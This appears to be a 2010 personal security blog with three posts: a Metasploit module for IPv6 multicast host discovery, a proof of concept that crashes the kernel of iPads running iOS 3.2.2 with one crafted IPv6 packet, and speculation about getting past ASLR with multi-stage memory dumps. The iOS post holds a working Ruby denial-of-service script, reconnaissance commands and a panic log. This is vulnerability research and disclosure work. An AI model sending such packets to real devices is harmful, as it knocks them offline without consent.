Monday, December 20, 2010

IPv6 PIng Host Discovery (metasploit module)

I am submitting a metasploit module that does link-local, and node-local host discovery by pinging the IPv6 multicast addresses that hosts, and routers are supposed to join when provisioning their IP addresses.

The workflow is pretty simple:

1. Send ICMPv6 echoRequest to FF01::1 (node-local all nodes), FF01::2(node-local all routers), FF02::1 (link-local all nodes), FF02::2 (link-local all routers)
2. Wait for any ICMPv6 echoResponse

Sample output:

msf > use auxiliary/scanner/discovery/ipv6_multicast_ping 
msf auxiliary(ipv6_multicast_ping) > set shost fe80::21a:a0ff:fe52:7068
shost => fe80::21a:a0ff:fe52:7068
msf auxiliary(ipv6_multicast_ping) >  set smac 00:1a:a0:53:71:69
smac => 00:1a:a0:52:70:68
msf auxiliary(ipv6_multicast_ping) > run


[*] Sending multicast pings
[*] Listening for ping responses
[*]    |*| fe80::61e:64ff:fe98:bf72 => 04:1e:64:08:ef:72
[*]    |*| fe80::e1:6cff:fec0:4f4e => 68:7f:74:0a:84:13
[*] Auxiliary module execution completed
msf auxiliary(ipv6_multicast_ping) > 

Tuesday, December 14, 2010

iOS 3.2.2 Vulnerability

I have been writing an IPv6 fuzzer metasploit module, and decided to send it at my iPad. I found a vulnerability that doesn't seem to be documented anywhere, but has been fixed with the 4.2.1 update I just installed on my iPad.  After looking through it quite a bit, I don't think it can be exploited, but will cause the kernel to crash and the device to reboot.  The only device I found this to work is on an iPad running iOS 3.2.2.

Replication/PoC:
You must determine the MAC and IPv6 address of the device. I used a combination of looking at the IPv4 address in settings, arp, ping6, and ndp.

Ping the iPad - I know this is the IPv4 address:

[15:37:05]wuntee:~$ ping 192.168.1.133
PING 192.168.1.133 (192.168.1.133): 56 data bytes
64 bytes from 192.168.1.133: icmp_seq=0 ttl=64 time=159.623 ms
^C
--- 192.168.1.133 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 159.623/159.623/159.623/0.000 ms

Use arp to determine the MAC:
[15:37:10]wuntee:~$ arp -a | grep 192.168.1.133
wuntee.lan (192.168.1.133) at b8:ff:61:21:a6:7d on en1 ifscope [ethernet]

Ping the link-local all nodes multicast address in order to get the link-local address of the iPad in your ndp cache:
[15:37:15]wuntee:~$ ping6 -I en1 ff02::1
PING6(56=40+8+8 bytes) fe80::fa1e:dfff:fed6:221d%en1 --> ff02::1
...
^C
--- ff02::1 ping6 statistics ---
1 packets transmitted, 1 packets received, +3 duplicates, 0.0% packet loss
round-trip min/avg/max/std-dev = 0.423/79.899/159.488/78.907 ms

Query the ndp table to determine the IPv6 address:
[15:37:37]wuntee:~$ ndp -ant | grep b8:ff:61:21:a6:7d
22:37:45.955772 fe80::baff:61ff:fe21:a67d%en1   b8:ff:61:21:a6:7d    en1 2s        D      

We now know the iPad IPv6 address, and the MAC address.  You can the following code to send a single packet to the device causing it to crash (note, must have pcaprub, bit-struct, and racket all installed for ruby):
#!/usr/bin/env ruby

require 'racket'
require 'pcaprub'

puts("Creating IPv6 packet")
NEXT_HEADER = 103
S_IP = "fe80::fa1e:dfff:fed6:221d"
S_MAC = "f8:1e:df:d6:22:1d"
D_IP = "fe80::baff:61ff:fe21:a67d"
D_MAC = "b8:ff:61:21:a6:7d"


p = Racket::Racket.new()
p.l2 = Racket::L2::Ethernet.new()
p.l2.src_mac = S_MAC
p.l2.dst_mac = D_MAC
p.l2.ethertype = Racket::L2::Ethernet::ETHERTYPE_IPV6
p.l3 = Racket::L3::IPv6.new()
p.l3.src_ip = Racket::L3::Misc.ipv62long(S_IP)
p.l3.dst_ip = Racket::L3::Misc.ipv62long(D_IP)
p.l3.nhead = NEXT_HEADER
p.l3.payload = "A"*100 # 1460 OR LESS
p.l3.fix!()

ipv6_capture = ::Pcap.open_live("en1", 65535, true, 0)

puts("Sending packet to device:\n #{p.pretty()}")
ipv6_capture.inject(p.pack())
ipv6_capture=nil
GC.start()  

This will cause the kernel to crash, and after looking at the kernel panic dump, it doesn't seem like anything worthwhile is overridden.
...
Hardware Model:      iPad1,1
Date/Time:       2010-12-02 17:59:28.355 -0700
OS Version:      iPhone OS 3.2.2 (7B500)

sleh_abort: prefetch abort in kernel mode: fault_addr=0x0
r0: 0xed3b3ed8  r1: 0xed3b3ee4  r2: 0x00000043  r3: 0x00000000
r4: 0xc0274370  r5: 0xc02747bc  r6: 0x00000001  r7: 0xed3b3f00
r8: 0x00000067  r9: 0xec414b54 r10: 0x00000001 r11: 0x00000000
12: 0xe0f45590  sp: 0xed3b3ed0  lr: 0xc00f2a87  pc: 0x00000000
cpsr: 0x60000013 fsr: 0x00000005 far: 0x00000000

Debugger message: Fatal Exception
OS version: 7B500
Kernel version: Darwin Kernel Version 10.3.1: Wed Aug  4 19:08:04 PDT 2010; root:xnu-1504.2.60~1/RELEASE_ARM_S5L8930X
iBoot version: iBoot-817.29
secure boot?: YES
Paniclog version: 1
Task 0xc0ce8d20: 5013 pages, 80 threads: pid 0: kernel_task
thread 0xe0f45590
kernel backtrace: ed3b3da4
  lr: 0xc0064e51  fp: 0xed3b3dd0
  lr: 0xc006620c  fp: 0xed3b3ddc
  lr: 0xc0066f74  fp: 0xed3b3e78
  lr: 0xc0062340  fp: 0xed3b3f00
  lr: 0xc00f39c3  fp: 0xed3b3f08
  lr: 0xc00aefcd  fp: 0xed3b3f20
  lr: 0xc00a7b2f  fp: 0xed3b3f30
  lr: 0xc00a4e9f  fp: 0xed3b3f48
  lr: 0xc00a6c93  fp: 0xed3b3f8c
  lr: 0xc00a6d93  fp: 0xed3b3fa8
  lr: 0xc00632dc  fp: 0x00000000

...

I do not have any experience exploiting iOS, but seeing that none of the registers are overridden with anything useful, and I don't have a copy of the decompiled OS firmware (do look at backtrace functions) I dont think this vulnerability can be exploited.

Looks like this has already been discovered:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1843


Thursday, December 2, 2010

The not so typical multi staged exploit

After doing a lot of research on exploitation mitigation techniques (ASLR, DEP, Stack Cookies, etc), understanding exploitation methodologies like 'return to libc,' and watching Dino DiaZovi's talk about Memory Corruption, Exploitation, and you I thought about a different type of exploitation technique... A mulit-staged exploit where the second stage isn't the machine taking in the code you want to execute, but where the second stage is the actual exploit...

Typical multi stage exploitation is done in the following manner:

1. Application is exploited, and the stager code is run
2. The stager code connects back to a configured host, and obtains the actual connection mechanism that the attacker wants to run (reverse shell, meterpreter, clac, whatever)


The case that I am thinking about is where ASLR is in place, and an attacker can't reliably, at all point EIP to a piece of memory to take over execution.  Dino states in the presentation something to the extent of:

Exploits are going to move away from the typical code execution to more towards memory dumps


The whole concept of ASLR is randomizing where libraries exist in memory to invalidate jumping to static values in those libraries in order to take control of execution flow.

But, what if you can dump the memory to a listener from a known start location, look for a signature of where something like NTDLL exists, compute the offset, then re-exploit the application using the now known offset of the memory address you originally wanted to jump to when ASLR was not in place?  The workflow would be something like this:

1. Have memory listener/processor running
2. Exploit application to dump memory to #1
3. #1 looks for NTDLL starting signature, and computes offset (if you are dumping from 0)
4. Re-exploit application with now known memory offset

There are a lot of unknowns on my part, simply because I am not an expert at exploitation, but the concept seems somewhat feasible.

Unknowns:
- If you can exploit something to dump memory, why cant you run arbitrary code?
- You must have some way of getting a known offset to calculate the library offset
- The application must not crash, or must restart after the initial exploitation
- The memory dump is something that can be used in the above case
- Does ASLR stop return to libc? Or is libc loaded somewhere statically every time?